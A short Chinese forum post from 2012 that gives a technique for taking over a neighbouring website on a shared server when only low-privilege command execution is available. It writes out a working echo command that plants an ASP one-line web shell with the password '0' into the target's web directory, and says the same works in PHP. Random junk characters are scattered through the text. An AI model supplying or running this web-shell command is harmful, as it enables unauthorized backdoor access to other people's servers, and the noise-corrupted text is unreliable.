在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。: j. `! z7 m" E# H5 Z m
+ ~5 p7 N) G( N/ u+ ~
命令格式
! K1 Y( |5 f# F6 h9 @% o" ?6 T. D5 E/ d2 k* o w
Echo 语句 >目标站绝对目录3 i+ H# u, S5 W
2 o0 {1 P* P) f
例如： 3 M- F: t- f$ s1 ?4 ?6 s
/ E- e. z6 X4 \; X# lecho ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp0 t: J. }6 d1 {% O
9 Y, j4 b' P* y( {6 ]3 c; N这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
& b* `% }2 U ?& |) h2 B( P+ E; ]6 Z |
发表于 2012-9-23 14:40:24
收藏
支持
反对